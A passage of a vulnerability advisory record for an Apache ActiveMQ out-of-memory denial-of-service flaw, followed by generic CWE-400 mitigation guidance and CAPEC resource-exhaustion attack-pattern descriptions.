  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T11:16:29Z",
    "severity": "HIGH"
  },
  "details": "Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All.\n\nFollowing the fix for  CVE-2026-49270\u00a0an unauthenticated attacker can now cause broker OOM by sending an repeated BrokerInfo commands without sending\u00a0a ConnectionInfo, until the broker will crash with OOM.\nThis issue affects Apache ActiveMQ Broker: from 5.19.7 before 5.19.8, from 6.2.6 before 6.2.7; Apache ActiveMQ: from 5.19.7 before 5.19.8, from 6.2.6 before 6.2.7; Apache ActiveMQ All: from 5.19.7 before 5.19.8, from 6.2.6 before 6.2.7.\n\nUsers are recommended to upgrade to version 6.2.7, which fixes the issue.",
  "id": "GHSA-9qj4-v6r6-3wmx",
  "modified": "2026-06-30T15:30:44Z",
  "published": "2026-06-30T12:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50750"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/nhkmbdym61yp6wwy0dny8w1p46sm87kr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.